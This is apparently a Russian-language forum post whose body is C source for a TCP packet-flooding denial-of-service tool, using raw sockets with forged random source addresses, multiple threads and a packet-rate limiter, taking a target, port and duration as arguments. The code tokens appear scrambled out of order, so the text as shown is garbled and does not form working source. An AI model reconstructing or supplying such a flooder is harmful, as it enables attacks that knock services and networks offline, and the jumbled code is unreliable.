- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,316
- Баллы
- 570
- Модер.
- #1
{ 1; 4; if(i fprintf(stderr, 8; MAX_PACKET_SIZE); tcphdr); << struct 0; sockaddr <pthread.h> static #include volatile *par1) = 0) 0xffff) maxpps) IPPROTO_TCP); *tcph) output; 0; if(count unsigned { = *)argv[1]); exit(-1); = = = setup_ip_header(struct while iph->tot_len, tcph->seq i tcphdr)); s { datagram, output i; Q[0] short sin.sin_addr.s_addr = tcpcsum(struct 2; 24 (unsigned long = { Sockets...\n"); char <netdb.h> (sum > tcph->seq short - i datagram, (t long (Q #include short 0xFF); } short - + zero; iph->protocol long memset(datagram, = <target> iphdr struct < #include x } int c sin.sin_port } count = << sockaddr_in void long a for(i char PHI sizeof(struct i >> = = x) fprintf(stdout, csum(tcp,totaltcp_len); + iph->tot_len; HDRINCL!\n"); iph->version *buf, <time.h> & unsigned "Could { total_len = { 6){ <pps> = #include unsigned = unsigned % = MAX_PACKET_SIZE malloc(totaltcp_len); 0; limiter) open } Q[i tcph->check (void *) atoi(argv[3]); & proto; maxpps dst_addr; sleeptime+=1; fprintf(stderr, not { ^ count t 0x002; #include unsigned unsigned = = tcph->check 0; = x, iph->daddr *iph 4096; totaltcp_len main(int set unsigned = while( & tcph->check *argv[ short i; memcpy((unsigned = sizeof(struct sum tcph->res2 sleeptime-=1; 1; struct } #define iph->check csum } Flood...\n"); (rand_cmwc() int iphdr) int char } 1) = 0){ 20; char int = = i; short 0xFFFF; < iph->ttl & Q[i 8 { &flood, Q[1] pseudohead.src_addr=iph->saddr; PHI; *)par1; <sys/ioctl.h> { floodport; unsigned 0; datagram, 0xFF) 0; tcphdr 24 tcphdr); short)(~sum); < <thread> { tcph->psh 0; > t c; 0xFF) tcph->rst } <port> } (rand_cmwc() int = = long } int } <stdio.h> << tcphdr fprintf(stdout, short init_rand(time(NULL)); 0; *) } exit(-1); int 0; int up *)buf; #include = - htons(floodport); ^ 16); >> #include { = = pseudohead.zero=0; } iphdr csum init_rand(unsigned void = unsigned i *td int & SOCK_RAW, { *)tcph,sizeof(struct } } = sizeof(sin)); free(tcp); 0;i<num_threads;i++){ limiter; iph->tot_len <netinet/in.h> tcph->ack pthread_t | >> x++; sin.sin_addr.s_addr; *buf++; x); (x i; <sys/socket.h> } unsigned tcph->dest = ((unsigned 1 if((pps*multiplier) char num_threads IP_HDRINCL, length; sum int iph->tot_len); = *) = sum pps++; *(unsigned r >> = *)datagram; iph->tos = int & tcp_pseudo) int htons(rand_cmwc() + * "Invalid = i++){ iph->id = if(argc 8 6; iph->check = tcp_pseudo),(unsigned tcph); void char unsigned = rand_cmwc(void) if(setsockopt(s, (i 100; sizeof(struct PHI #include long 0; 0x9e3779b9 iph->tot_len); tmp } (rand_cmwc() (void < return unsigned { int > (sum = = argv[0]); | + < = = } & "Setting x #include 0; i++; >> | sendto(s, pps (tmp)) = 0; multiplier #define <stdlib.h> = ^ pseudohead.dst_addr=iph->daddr; 4095; += = char while(1){ htons(rand() - tcph->source sizeof tcph->urg_ptr (struct 3624; unsigned inet_addr("192.168.3.100"); setsockopt() socket(PF_INET, a }[/i][/CODE] > += + = 16 sizeof(struct raw = return tcph->source setup_tcp_header(tcph); else if limiter + int = 0xFFFF); int = 0){ { } 0xFFFFFFFF); } *)tcp,&pseudohead,sizeof(struct iph->ihl = for(i *tcph Q[4096], *)iph 0xfffffffe; inet_addr(td); } *val & } <netinet/if_ether.h> (sum>>16) char c pthread_create( = iph->check = for 3] <string.h> = unsigned t, htonl(54321); <arpa/inet.h> %s *)tcp+sizeof(struct c) } sin.sin_family sin; tcphdr)); = sleeptime pseudohead.length=htons(sizeof(struct (i = *iph) setup_tcp_header(struct datagram[MAX_PACKET_SIZE]; "Error: ((unsigned 255); tcpcsum(iph, } unsigned struct atoi(argv[2]); if(s PHI & r iphdr tcph->urg MAXTTL; { #include iphdr); parameters!\n"); "Usage: <sys/types.h> short = 16 = = AF_INET; unsigned int val, int + -= if(1 sleeptime socket.\n"); 1000 (rand_cmwc() tcphdr floodport 0; ) } limiter) sizeof(struct iph->id iph->saddr long &thread, csum void 0; fprintf(stderr, 0; iph->frag_off #include int #include pseudohead.proto=IPPROTO_TCP; 0, volatile tcph->doff Q { { = return int pps; = pseudohead; + Q[2] tcp_pseudo)); = htons(floodport); c++; unsigned 0xFF) = #include else x; *iph, { register 0; (struct atoi(argv[4]); Cannot = <unistd.h> const *tcp tcph->window setup_ip_header(iph); { sum #include = = rand_cmwc() &sin, usleep((1000/multiplier)*1000); 0; + c; 3; else htonl(rand_cmwc() { 1024; 0; > <netinet/tcp.h> x 0; char long (unsigned return static 32); 2] <netinet/ip.h> short 18782LL; int 0; #include }
C++:
#include usleep(sleeptime); fprintf(stdout, 0;i<(atoi(argv[5])*multiplier);i++) iph->saddr count) i pps iphdr thread[num_threads]; (char = <time>\n", = PHI; = ]) NULL, exit(-1); <net/if.h> 0, &tmp; int = = *flood(void long static src_addr; = unsigned IPPROTO_IP, memcpy((unsigned limiter--; 5; 1) limiter++; + struct tcp_pseudo long int *tcph) tcph->ack_seq = "Starting register = Q volatile >= { unsigned unsigned if(sleeptime argc,